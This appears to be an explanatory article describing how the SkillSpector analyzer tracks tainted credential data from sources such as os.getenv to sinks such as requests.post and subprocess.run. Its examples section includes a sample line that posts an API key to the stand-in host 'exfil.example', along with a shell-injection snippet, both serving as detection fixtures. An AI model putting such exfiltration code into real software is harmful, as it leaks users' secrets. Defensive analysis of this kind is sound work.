How SkillSpector's Taint Tracking Detects Credential Exfiltration Chains
SkillSpector implements a behavioral taint-tracking analyzer that parses Python ASTs to trace data flows from credential sources to network sinks, automatically detecting exfiltration chains through source-to-sink mapping and severity-based rule IDs.
NVIDIA's SkillSpector identifies credential exfiltration vulnerabilities by analyzing how secret data moves through Python codebases. The tool's behavioral taint-tracking analyzer, implemented in src/skillspector/nodes/analyzers/behavioral_taint_tracking.py, builds a data-flow graph connecting sensitive sources—such as environment variables and file reads—to dangerous sinks like network outputs and subprocess calls.
Architecture of the Behavioral Taint-Tracking Analyzer
The analyzer operates by transforming Python source code into an abstract syntax tree (AST) and constructing a type map that resolves fully-qualified function names. According to the implementation in behavioral_taint_tracking.py, the pipeline first parses the file content and builds a type-resolution map to accurately identify call targets.
tree = ast.parse(content, filename=file_path)
type_map = build_type_map(tree)
This AST-based approach enables the analyzer to track data flows statically without executing the code, identifying potential credential exfiltration chains before deployment.
Defining Sources and Sinks in SkillSpector
The detection system relies on predefined sets of sources (where secrets originate) and sinks (where data can be leaked). These are declared as frozen sets at the module level in behavioral_taint_tracking.py.
Credential Sources
Tainted data originates from functions that access sensitive information. The _CREDENTIAL_SOURCES set includes environment variable accessors, while _FILE_READ_SOURCES captures file-based secret loading:
_CREDENTIAL_SOURCES = {"os.environ.get", "os.environ", "os.getenv"}
_FILE_READ_SOURCES = {"open", "pathlib.Path.read_text", "pathlib.Path.read_bytes"}
Additional source families include _NETWORK_INPUT_SOURCES for network-based input and user input functions.
Exfiltration Sinks
Sinks represent dangerous operations where tainted data triggers an alert. The analyzer defines _NETWORK_OUTPUT_SINKS for network transmission, _EXEC_SINKS for subprocess execution, and _FILE_WRITE_SINKS for file persistence. These sets cover functions like requests.post, socket.send, subprocess.run, and file write operations.
How Taint Propagation Works
Once sources are identified, the analyzer tracks how tainted values flow through the codebase using two propagation mechanisms.
Source Detection in Assignments
When the analyzer encounters an Assign node, it inspects the right-hand side expression using _find_source_in_expr. If a source is detected, the left-hand side variables are marked as tainted with metadata including the source name and line number:
src_name = _find_source_in_expr(ast_node.value, type_map)
_mark_targets(ast_node.targets, tainted, src_name, ast_node.lineno)
Direct and Container Propagation
Taint spreads through both direct assignment and container construction. The _find_tainted_in_expr function identifies when a tainted variable is assigned to another variable, while the analyzer walks literals—including dictionaries, lists, tuples, and f-strings—to propagate taint to any new variable incorporating sensitive data:
tv = _find_tainted_in_expr(ast_node.value, tainted)
Detecting Exfiltration Chains at Sink Call Sites
The critical detection logic occurs when the analyzer encounters a Call node matching a sink definition. The system employs dual detection strategies to identify both direct and indirect credential flows.
Nested Source Discovery
For each sink call, the analyzer first searches for nested source calls within the arguments using _find_nested_sources. This catches immediate flows where a credential is passed directly to a network function:
sink_name = resolve_call_name_typed(ast_node, type_map)
for src_name, src_node in _find_nested_sources(ast_node, type_map):
rule = _pick_rule(src_name, sink_name, is_direct=True)
Tainted Variable Detection
The analyzer also checks for variables that were previously marked as tainted using _find_tainted_names_in_args. This captures indirect flows where a secret was assigned to a variable earlier and then passed to a sink:
for tv in _find_tainted_names_in_args(ast_node, tainted):
rule = _pick_rule(tv.source_call, sink_name, is_direct=False)
Rule Selection and Severity Classification
The _pick_rule function maps specific source-sink combinations to rule IDs (TT1 through TT5) that encode severity and confidence levels. For example, a direct flow from credentials to network output triggers rule TT3:
if source_name in _CREDENTIAL_SOURCES and sink_name in _NETWORK_OUTPUT_SINKS:
return "TT3"
Severity ratings and confidence scores are stored in _RULE_SEVERITIES and _RULE_CONFIDENCES, allowing the system to prioritize high-risk credential exfiltration chains over lower-risk patterns.
Integration with the SkillSpector Pipeline
The node function in static_runner.py orchestrates the analysis across the codebase. It iterates over Python components, enforces file size limits via MAX_FILE_BYTES, and aggregates findings:
for path in components:
if not path.endswith(".py"): continue
raw = _analyze_python(content, path)
Each detected flow generates an AnalyzerFinding object containing the rule ID, severity, confidence, source location, and code snippet. The findings are then logged and integrated into the final response through graph.py and models.py.
Code Examples of Credential Exfiltration Detection
The following patterns demonstrate how SkillSpector identifies specific exfiltration chains:
Example 1: Environment Variable to Network (TT3)
import os, requests
api_key = os.getenv("API_KEY") # source: credential
requests.post("https://exfil.example", json={"key": api_key}) # sink: network output
Example 2: File Read to Code Execution (TT5)
import subprocess, pathlib
secret = pathlib.Path("secret.txt").read_text() # source: file read
cmd = f"echo {secret}"
subprocess.run(cmd, shell=True) # sink: exec
The analyzer produces findings identifying these as "Direct flow: os.getenv → requests.post" or "Tainted flow: 'secret' from open → subprocess.run" with appropriate severity classifications.
Summary
- AST-based analysis: SkillSpector parses Python files into ASTs and resolves type maps to identify function calls accurately in
behavioral_taint_tracking.py. - Source-sink model: The analyzer defines frozen sets of credential sources (
_CREDENTIAL_SOURCES) and dangerous sinks (_NETWORK_OUTPUT_SINKS,_EXEC_SINKS) to establish detection boundaries. - Taint propagation: Variables are marked via
_mark_targetsand tracked through assignments and container literals using_find_tainted_in_expr. - Dual detection: The system detects both direct nested sources (
_find_nested_sources) and previously tainted variables (_find_tainted_names_in_args) at sink call sites. - Rule-based classification: The
_pick_rulefunction assigns specific IDs (TT3, TT5) and severities to credential exfiltration chains, enabling prioritized remediation. - Pipeline integration: The
nodefunction instatic_runner.pyenforces file size limits and aggregatesAnalyzerFindingobjects into the final security report.
Frequently Asked Questions
How does SkillSpector define a "source" in taint analysis?
SkillSpector defines sources as frozen sets of function signatures that retrieve sensitive data. In behavioral_taint_tracking.py, the _CREDENTIAL_SOURCES set includes os.environ.get, os.getenv, and environment variable access patterns, while _FILE_READ_SOURCES captures open and pathlib read operations. These definitions tell the analyzer where secret data potentially enters the system.
What is the difference between TT3 and TT5 rules in credential exfiltration detection?
Rule TT3 triggers when credential sources (environment variables) flow directly to network output sinks, representing immediate API key exfiltration. Rule TT5 activates when file-read sources containing secrets propagate to execution sinks like subprocess.run, indicating command injection risks. The _pick_rule function assigns these IDs based on the specific source-sink combination detected, with each rule carrying distinct severity ratings in _RULE_SEVERITIES.
Can SkillSpector detect indirect taint propagation through data structures?
Yes, the analyzer handles container propagation by walking dictionary, list, tuple, and f-string literals. When a tainted value is incorporated into these structures via _find_tainted_in_expr, the resulting variable is also marked as tainted. This allows detection of exfiltration chains where secrets are concatenated into strings or packed into JSON payloads before reaching network sinks.
How does the analyzer handle large Python files in the pipeline?
The node function in static_runner.py enforces a MAX_FILE_BYTES limit, skipping files that exceed the configured size threshold. This prevents performance degradation when analyzing enterprise-scale repositories while ensuring that analyzable files are processed through _analyze_python in behavioral_taint_tracking.py. The system logs the number of findings per file to aid in debugging and coverage analysis.
Have a question about this repo?
These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:
curl -s "https://instagit.com/install.md" Maintain an open-source project? Get it listed too →